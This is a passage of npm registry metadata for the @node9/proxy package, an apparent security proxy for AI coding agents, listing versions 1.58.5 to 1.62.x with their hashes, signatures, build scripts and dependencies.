ll":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.58.5.tgz","fileCount":17,"integrity":"sha512-pu43UuvgMDriVS1jf/jB68kBOWQuaV+tHWqEg4aFAHNthy+b1W2RFgoE9gGat6fGUVF5TpckEDMYQsAuecRFaQ==","signatures":[{"sig":"MEYCIQD7D58PHPsZ1PSMJHaNw0fpAttyAPy0UNsmfS58yA3bHgIhAPtX0nYKMJSZh6FMo2cyQtHV7VOQsla2K3FiJ8Y0mVoF","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.58.5","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6704905},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"bdecf183f4fdad69f854a0facd587ea6ee81fece","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.58.5_1783442259340_0.05873862933697671","host":"s3://npm-registry-packages-npm-production"}},"1.59.0":{"name":"@node9/proxy","version":"1.59.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.59.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"9aaa845491a4e204cce7cb7c08286413fa812a1e","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.59.0.tgz","fileCount":17,"integrity":"sha512-sakGpcpj6T8zoOr57NbK8Zerjj7jHxM/SA1lsFI57kdeU0oW3ltv7qSS7z20lIgbBAzu679mZInnkxPOTvwySw==","signatures":[{"sig":"MEUCIC4PbfoTgPUlgFyVb+zFcbQEPc6DSgmGM10yCEq0CpzAAiEA0Jed37f0ddXWWbxft4vSG6/gPhCbJv8Q7sA0mCOPu1U=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.59.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6733149},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"a84cee3dc259805d4a4db436a74b532fdee30261","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.59.0_1783712974755_0.6286630716130275","host":"s3://npm-registry-packages-npm-production"}},"1.60.0":{"name":"@node9/proxy","version":"1.60.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.60.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"8401008633841d14ccca7e54c610512291f52004","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.60.0.tgz","fileCount":17,"integrity":"sha512-3XtETDkJNvjJ6xABDaXwKzgKU03kHXkRM+9MQOugrn5vF9IutKc8bvuSpce6+8U6p0OZJfrp4qbXwH3vpMh5vA==","signatures":[{"sig":"MEYCIQDZGIkx7OSLpFk8TVnPA8zoRmVQRnc6nYdyT7dcqrpL3wIhAP5kJZUIS0NkV9y5wfk32T8G3Jheq+qApauJcHPDolgl","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.60.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6760916},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"2c5cdb580622775d1e2d8b92b7682e126829f7c5","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.60.0_1783884015077_0.8849430851592743","host":"s3://npm-registry-packages-npm-production"}},"1.61.0":{"name":"@node9/proxy","version":"1.61.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.61.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"2376e97313f9757960d58961ae02e2748a938656","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.61.0.tgz","fileCount":17,"integrity":"sha512-+NHC5Z6yXSjB2IrLoI7cNCixh7k3Jh5VI3vSgvRfQUR/oUB9DnWGtsytYAkP5nl4ix9NEvRWWYA77mnZBKlSZg==","signatures":[{"sig":"MEQCIE58kDz4745FHnGjJMcfrg2PQVQPUna8lBa4OkWmynWaAiAy/wPbCvqXU7t4LHN7Utobf4NUrXb/4R2xCZu4QZBWNw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.61.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6762612},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"02c6fc36b5e6e560d00605a8edfa07db52ed095a","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.61.0_1783923095639_0.30241679946079825","host":"s3://npm-registry-packages-npm-production"}},"1.61.1":{"name":"@node9/proxy","version":"1.61.1","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.61.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"c75ffb1a342a53678749ff2f94fcd00a2efe7ca9","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.61.1.tgz","fileCount":17,"integrity":"sha512-aohRKPo5ds9Fb/TOz+HVCb7N9/hCOzJbrRzXqNGNyJU96iXZjiqtYoo4vIqAu18ew+ynhu1fZy66QbgGXCtbbA==","signatures":[{"sig":"MEQCIGvvAmK+NEW4tn+soqvdB3zhp0K7Piu7niMH4NGIqZoxAiBxyoplCnKOV+mjCGCUWrXFqVU53eWsIitZFKIs4HitlQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.61.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6777081},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"1e525ca95c92ef27d149e2da9aa20635d8b4edb9","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.61.1_1784043013469_0.90730910285745","host":"s3://npm-registry-packages-npm-production"}},"1.62.0":{"name":"@node9/proxy","version":"1.62.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.62.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"51ee0e52f1a4de56dfebe029cda5571cd33d9ece","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.62.0.tgz","fileCount":17,"integrity":"sha512-IQGnLzN7y8YABtz6f96WKb5W7f/g9yQlTpcWOB9czZHgZhyinDvpLW0Ahca6VZF5PsaaD+06JAxGdH42WxhecQ==","signatures":[{"sig":"MEUCIQDXXPQEi1rWI5iPkbY+w5yWkdMhdLp1ZKv0GybvhLq7HQIgcnYWzaykzwQf9TyWVnqJO3ssuk+2uZlCJcL9RnWRsEE=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.62.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6801966},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"13d1b257e7231ca669fc8c53c7b6ae65c2b1a49e","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.62.0_1784230517726_0.45832262762338116","host":"s3://npm-registry-packages-npm-production"}},"1.62.1":{"name":"@node9/proxy","version":"1.62.1","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","wi